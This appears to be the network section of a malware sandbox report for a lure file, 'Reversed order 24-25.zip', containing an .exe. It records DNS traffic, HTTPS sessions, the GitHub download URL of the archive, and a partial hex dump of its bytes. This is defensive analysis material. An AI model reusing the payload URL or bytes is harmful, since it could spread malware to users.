Jan 15, 2025 03:37:09.511992931 CET	60961	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:09.512145042 CET	56758	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:09.519340992 CET	53	56758	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:10.581199884 CET	52471	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:10.584927082 CET	53	60961	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:10.588083029 CET	53	52471	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:10.837047100 CET	53	54572	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:11.924942970 CET	55182	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:11.925085068 CET	64527	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:11.932320118 CET	53	64527	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:12.499800920 CET	53	55182	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:15.723267078 CET	53	51864	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:16.711487055 CET	53	59778	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:36.177846909 CET	53	59343	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:58.351629019 CET	53	63982	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:59.477683067 CET	53	51256	1.1.1.1	192.168.2.4
Jan 15, 2025 03:38:30.069572926 CET	53	50819	1.1.1.1	192.168.2.4
Jan 15, 2025 03:38:34.286303997 CET	53	63110	1.1.1.1	192.168.2.4
Jan 15, 2025 03:39:03.309299946 CET	53159	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:39:03.311961889 CET	54795	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:39:03.319092989 CET	53	53159	1.1.1.1	192.168.2.4
Jan 15, 2025 03:39:03.321942091 CET	53	54795	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 15, 2025 03:37:05.337590933 CET	192.168.2.4	1.1.1.1	c221	(Port unreachable)	Destination Unreachable
Jan 15, 2025 03:37:06.649359941 CET	192.168.2.4	1.1.1.1	c221	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 03:36:45.107037067 CET	192.168.2.4	1.1.1.1	0x837e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:36:58.726238966 CET	192.168.2.4	1.1.1.1	0x3eec	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:36:58.726332903 CET	192.168.2.4	1.1.1.1	0x5230	Standard query (0)	github.com	65	IN (0x0001)	false
Jan 15, 2025 03:36:59.801734924 CET	192.168.2.4	1.1.1.1	0x4f7e	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:36:59.801889896 CET	192.168.2.4	1.1.1.1	0x8112	Standard query (0)	raw.githubusercontent.com	65	IN (0x0001)	false
Jan 15, 2025 03:37:03.123120070 CET	192.168.2.4	1.1.1.1	0x591b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:03.123392105 CET	192.168.2.4	1.1.1.1	0x10c5	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 15, 2025 03:37:04.948646069 CET	192.168.2.4	1.1.1.1	0x79cf	Standard query (0)	mail.grabinphone.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:05.184295893 CET	192.168.2.4	1.1.1.1	0xd20	Standard query (0)	www.woluntech.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:05.184433937 CET	192.168.2.4	1.1.1.1	0x8961	Standard query (0)	www.woluntech.com	65	IN (0x0001)	false
Jan 15, 2025 03:37:06.127264977 CET	192.168.2.4	1.1.1.1	0xee10	Standard query (0)	s.w.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:06.127398014 CET	192.168.2.4	1.1.1.1	0x463f	Standard query (0)	s.w.org	65	IN (0x0001)	false
Jan 15, 2025 03:37:06.286464930 CET	192.168.2.4	1.1.1.1	0xab85	Standard query (0)	sdk.51.la	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:06.286684990 CET	192.168.2.4	1.1.1.1	0x6ee9	Standard query (0)	sdk.51.la	65	IN (0x0001)	false
Jan 15, 2025 03:37:06.476939917 CET	192.168.2.4	1.1.1.1	0x7b92	Standard query (0)	www.woluntech.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:06.477097034 CET	192.168.2.4	1.1.1.1	0x46f2	Standard query (0)	www.woluntech.com	65	IN (0x0001)	false
Jan 15, 2025 03:37:08.273428917 CET	192.168.2.4	1.1.1.1	0x80b3	Standard query (0)	sdk.51.la	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:08.273547888 CET	192.168.2.4	1.1.1.1	0x4d71	Standard query (0)	sdk.51.la	65	IN (0x0001)	false
Jan 15, 2025 03:37:09.511992931 CET	192.168.2.4	1.1.1.1	0x8b7d	Standard query (0)	collect-v6.51.la	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:09.512145042 CET	192.168.2.4	1.1.1.1	0x8ae	Standard query (0)	collect-v6.51.la	65	IN (0x0001)	false
Jan 15, 2025 03:37:10.581199884 CET	192.168.2.4	1.1.1.1	0xc1fe	Standard query (0)	collect-v6.51.la	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:11.924942970 CET	192.168.2.4	1.1.1.1	0x5500	Standard query (0)	collect-v6.51.la	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:11.925085068 CET	192.168.2.4	1.1.1.1	0x9da1	Standard query (0)	collect-v6.51.la	65	IN (0x0001)	false
Jan 15, 2025 03:39:03.309299946 CET	192.168.2.4	1.1.1.1	0x9412	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:39:03.311961889 CET	192.168.2.4	1.1.1.1	0x88b9	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 03:36:45.114203930 CET	1.1.1.1	192.168.2.4	0x837e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:36:45.816256046 CET	1.1.1.1	192.168.2.4	0xbca0	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:36:45.816256046 CET	1.1.1.1	192.168.2.4	0xbca0	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:36:58.733000040 CET	1.1.1.1	192.168.2.4	0x3eec	No error (0)	github.com		140.82.121.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:36:59.808166027 CET	1.1.1.1	192.168.2.4	0x4f7e	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:36:59.808166027 CET	1.1.1.1	192.168.2.4	0x4f7e	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:36:59.808166027 CET	1.1.1.1	192.168.2.4	0x4f7e	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:36:59.808166027 CET	1.1.1.1	192.168.2.4	0x4f7e	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:03.130172968 CET	1.1.1.1	192.168.2.4	0x10c5	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 15, 2025 03:37:03.130197048 CET	1.1.1.1	192.168.2.4	0x591b	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:05.138005972 CET	1.1.1.1	192.168.2.4	0x79cf	No error (0)	mail.grabinphone.com		103.211.239.66	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:05.214983940 CET	1.1.1.1	192.168.2.4	0xd20	No error (0)	www.woluntech.com		45.63.57.89	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:06.133982897 CET	1.1.1.1	192.168.2.4	0xee10	No error (0)	s.w.org		192.0.77.48	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:06.589711905 CET	1.1.1.1	192.168.2.4	0x7b92	No error (0)	www.woluntech.com		45.63.57.89	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:06.831967115 CET	1.1.1.1	192.168.2.4	0x6ee9	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:06.831967115 CET	1.1.1.1	192.168.2.4	0x6ee9	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:06.947660923 CET	1.1.1.1	192.168.2.4	0xab85	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:06.947660923 CET	1.1.1.1	192.168.2.4	0xab85	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:06.947660923 CET	1.1.1.1	192.168.2.4	0xab85	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.68	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:06.947660923 CET	1.1.1.1	192.168.2.4	0xab85	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.16	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:06.947660923 CET	1.1.1.1	192.168.2.4	0xab85	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.20	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:06.947660923 CET	1.1.1.1	192.168.2.4	0xab85	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:08.781414986 CET	1.1.1.1	192.168.2.4	0x4d71	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:08.781414986 CET	1.1.1.1	192.168.2.4	0x4d71	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:08.833709955 CET	1.1.1.1	192.168.2.4	0x80b3	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:08.833709955 CET	1.1.1.1	192.168.2.4	0x80b3	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:08.833709955 CET	1.1.1.1	192.168.2.4	0x80b3	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.20	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:08.833709955 CET	1.1.1.1	192.168.2.4	0x80b3	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:08.833709955 CET	1.1.1.1	192.168.2.4	0x80b3	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.68	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:08.833709955 CET	1.1.1.1	192.168.2.4	0x80b3	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.16	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:09.519340992 CET	1.1.1.1	192.168.2.4	0x8ae	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:09.519340992 CET	1.1.1.1	192.168.2.4	0x8ae	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:10.584927082 CET	1.1.1.1	192.168.2.4	0x8b7d	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:10.584927082 CET	1.1.1.1	192.168.2.4	0x8b7d	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:10.584927082 CET	1.1.1.1	192.168.2.4	0x8b7d	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.20	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:10.584927082 CET	1.1.1.1	192.168.2.4	0x8b7d	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:10.584927082 CET	1.1.1.1	192.168.2.4	0x8b7d	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.68	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:10.584927082 CET	1.1.1.1	192.168.2.4	0x8b7d	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.16	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:10.588083029 CET	1.1.1.1	192.168.2.4	0xc1fe	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:10.588083029 CET	1.1.1.1	192.168.2.4	0xc1fe	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:10.588083029 CET	1.1.1.1	192.168.2.4	0xc1fe	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.20	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:10.588083029 CET	1.1.1.1	192.168.2.4	0xc1fe	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:10.588083029 CET	1.1.1.1	192.168.2.4	0xc1fe	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.68	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:10.588083029 CET	1.1.1.1	192.168.2.4	0xc1fe	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.16	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:11.932320118 CET	1.1.1.1	192.168.2.4	0x9da1	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:11.932320118 CET	1.1.1.1	192.168.2.4	0x9da1	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:12.499800920 CET	1.1.1.1	192.168.2.4	0x5500	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:12.499800920 CET	1.1.1.1	192.168.2.4	0x5500	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 03:37:12.499800920 CET	1.1.1.1	192.168.2.4	0x5500	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		38.54.26.75	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:12.499800920 CET	1.1.1.1	192.168.2.4	0x5500	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		38.54.26.74	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:12.499800920 CET	1.1.1.1	192.168.2.4	0x5500	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.164.15	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:37:12.499800920 CET	1.1.1.1	192.168.2.4	0x5500	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.164.16	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:39:03.319092989 CET	1.1.1.1	192.168.2.4	0x9412	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Jan 15, 2025 03:39:03.321942091 CET	1.1.1.1	192.168.2.4	0x88b9	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

github.com

raw.githubusercontent.com

www.woluntech.com

https:

sdk.51.la

collect-v6.51.la

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49751	140.82.121.3	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:36:59 UTC	730	OUT	GET /donmodely2k/poczta.github.io/raw/refs/heads/main/Reversed%20order%2024-25.zip HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:36:59 UTC	588	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Wed, 15 Jan 2025 02:36:59 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/donmodely2k/poczta.github.io/refs/heads/main/Reversed%20order%2024-25.zip Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-01-15 02:36:59 UTC	3379	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49756	185.199.109.133	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:00 UTC	741	OUT	GET /donmodely2k/poczta.github.io/refs/heads/main/Reversed%20order%2024-25.zip HTTP/1.1 Host: raw.githubusercontent.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:00 UTC	893	IN	HTTP/1.1 200 OK Connection: close Content-Length: 346769 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/zip ETag: "6fdf86613d0f3716da1979efeea4ac2ed000e3936bc4d845053c852eaf02cc20" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 3409:399A0F:49796B:51B277:67871F4C Accept-Ranges: bytes Date: Wed, 15 Jan 2025 02:37:00 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890022-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1736908620.360332,VS0,VE117 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: cc38d147cedab6108ace36db760eeee8811ba939 Expires: Wed, 15 Jan 2025 02:42:00 GMT Source-Age: 0
2025-01-15 02:37:00 UTC	1378	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 75 2a 2d 5a 38 a3 35 c9 ff 49 05 00 00 4c 08 00 18 00 00 00 52 65 76 65 72 73 65 64 20 6f 72 64 65 72 20 32 34 2d 32 35 2e 65 78 65 ec 5b 7b 7c 1c c5 7d ff dd de dd de dd de 9d a4 bd 93 ee 24 4b 96 ce 0f 89 b5 ef 24 4b 96 6c 4b e6 e5 27 6f 02 a9 6d 1e 06 8a 0d 18 b0 01 af bb 27 5e 36 76 94 90 d0 12 0c 01 42 48 50 29 71 6c 03 6d 6a 53 0a 09 50 9b 87 21 c4 49 00 f3 8e 21 20 8b 40 69 d2 a6 2d a5 25 e4 d9 48 fd fd 7e b3 7b b7 37 77 7b d8 26 9f 4f fb 47 f7 23 ed ce fc 66 be df 99 f9 cd 6f 7e 33 73 3b 7b ea f2 5b c1 0f 00 01 fc 1f 1f 07 78 0c c4 35 0f 3e f9 1a c2 ff 9a b6 5d 35 f0 9d c8 be 49 8f f9 4e d9 37 69 e9 a5 ab f3 99 75 96 79 89 b5 f2 8a cc 85 2b d7 ae 35 07 33 17 ac ca 58 57 ae cd ac 5e 9b 59 74 da 92 cc 15 e6 45 ab ba e2 Data Ascii: PKu*-Z85ILReversed order 24-25.exe[{\|}$K$KlK'om'^6vBHP)qlmjSP!I! @i-%H~{7w{&OG#fo~3s;{[x5>]5IN7iuy+53XW^YtE
2025-01-15 02:37:00 UTC	1378	IN	Data Raw: 66 60 13 67 e8 33 f4 2e 6e 62 8f de 33 f7 e4 f1 f1 71 c3 a2 cc 33 13 33 ad 8b b0 2f 8c 3c c6 ac cd 14 1a 24 79 07 db 85 de 21 62 47 e8 19 fd 08 e3 4a 0c 9a 57 81 bb 93 7a 5d c3 e1 6a 12 f4 e9 7d 29 f3 1a ca 93 bf 96 e2 b3 f4 3e eb 4e 64 b5 f6 e2 2d bf 9e 18 36 70 0b fa 32 27 e3 fc 64 5e 27 22 d6 87 98 6c 6e 74 e3 66 31 2e bf 89 20 9f e3 5c b3 cc 21 aa e4 04 3f 66 fd bc 90 58 c7 61 44 18 e8 17 28 6d 05 46 95 0d 64 96 8d c3 c6 f5 04 fd a2 c8 98 36 bf 64 23 d6 94 22 76 50 f4 06 ca f9 e7 94 41 0c 87 bf a0 2a cc 4e 25 e7 64 3b f4 d9 fa 9c e1 64 bf de 9f bf 91 84 03 58 8b 2f 63 40 1f 30 6f 12 da 9d 83 da 9d a3 cf d1 67 b3 76 e7 ea 73 3b 5f d0 fb 30 d7 e6 12 45 1d 59 50 14 cd 07 f3 9f 15 8e 12 a7 08 c0 f9 05 50 75 3c c7 ce e2 e9 04 e0 05 fc 47 5f 0f ef 48 f2 0f Data Ascii: f`g3.nb3q33/<$y!bGJWz]j})>Nd-6p2'd^'"lntf1. \!?fXaD(mFd6d#"vPA*N%d;dX/c@0ogvs;_0EYPPu<G_H
2025-01-15 02:37:00 UTC	1378	IN	Data Raw: 8c 79 aa 2a 66 bf 84 69 67 cc 48 55 cc 5b 12 e6 3f 81 8c 20 ee 0d 18 95 00 7b 18 50 5f b0 cb 07 39 7e 4e 21 be 85 e3 11 3b 3e a5 9c f0 97 a5 84 59 2b d2 e8 9d 59 72 d8 d9 c5 91 b6 76 9a 29 8c 12 e3 57 b2 9d e5 50 25 0a eb 12 60 3c 4c e1 04 86 c5 56 9d 69 a0 74 5a 44 a6 f3 69 0d 3c b0 26 48 73 23 fd ea c7 0d c2 4d 0a 36 68 09 0a f5 50 ba 10 5f c8 71 9c fb a2 78 2f 4e 7e 94 98 2b ab 85 98 b1 8c ef 40 e9 44 35 1e 60 8e 95 cc b1 fe f0 38 76 0b 8e 8c 5d b1 0a 5d 27 cf 76 37 0a 44 37 97 3a 70 78 a5 2e 66 8e 56 bb d0 43 f6 84 aa a8 42 d7 e1 e2 f7 fa 09 ef b8 52 8f 76 37 46 25 1f c4 20 f6 a5 a2 0b 87 04 0b 3b d3 1a 0c 94 78 53 91 e5 3c 81 a9 2f 60 4e 11 98 3d 55 4b 6e 91 4a 4e 0b d0 13 55 41 19 09 f4 9e c2 a0 dd 55 41 53 25 d0 4e 01 7a bb 2a c8 90 40 d7 08 d0 81 Data Ascii: yfigHU[? {P_9~N!;>Y+Yrv)WP%`<LVitZDi<&Hs#M6hP_qx/N~+@D5`8v]]'v7D7:px.fVCBRv7F% ;xS</`N=UKnJNUAUAS%Nz@
2025-01-15 02:37:00 UTC	1378	IN	Data Raw: a0 af 7b bb af ce e9 eb ff 3f 43 03 f0 bf 74 86 a6 c9 d3 d8 fe 2f 9d a1 59 5c 6e 6c 7f ec 33 34 3d 60 9f c7 00 7f 2e aa 6c a8 a3 0f 10 c6 fc b8 52 c0 89 37 2e e2 e6 3f b0 d2 61 94 3f c2 d8 45 91 91 c2 f9 12 fa ee 63 6a 3b a7 43 12 e7 af 36 dc 48 a5 89 4f c9 e3 32 59 db 48 04 2f 87 9d 4f 18 f2 b8 40 d4 34 45 f0 e6 9f 20 4d e5 b0 8d e0 48 9e 24 49 57 99 a4 9b 25 f9 a7 28 3c d3 15 ee 13 e1 3d 14 9e 5d 86 ea 2f 93 cc 2d 93 1c e5 62 3b a6 2c 75 9e 48 7d 9a c2 0b ca 52 17 95 49 8e 63 89 f1 8c e8 3d 3a e3 93 36 bf 57 8c a8 56 3b 9a 9d f9 2c 4a 06 d1 3e 7d e6 f7 8b 69 d6 7c 4a da eb 46 fe 40 44 3a 39 f2 c3 62 24 b3 e7 75 1f 98 3f 12 82 19 24 98 77 75 73 41 d0 43 82 3b b0 37 32 ff 48 a3 e2 32 aa d7 73 c5 a4 b4 f9 7c 31 62 2d a1 42 5f 70 01 27 67 d0 b8 f7 b9 04 b4 Data Ascii: {?Ct/Y\nl34=`.lR7.?a?Ecj;C6HO2YH/O@4E MH$IW%(<=]/-b;,uH}RIc=:6WV;,J>}i\|JF@D:9b$u?$wusAC;72H2s\|1b-B_p'g
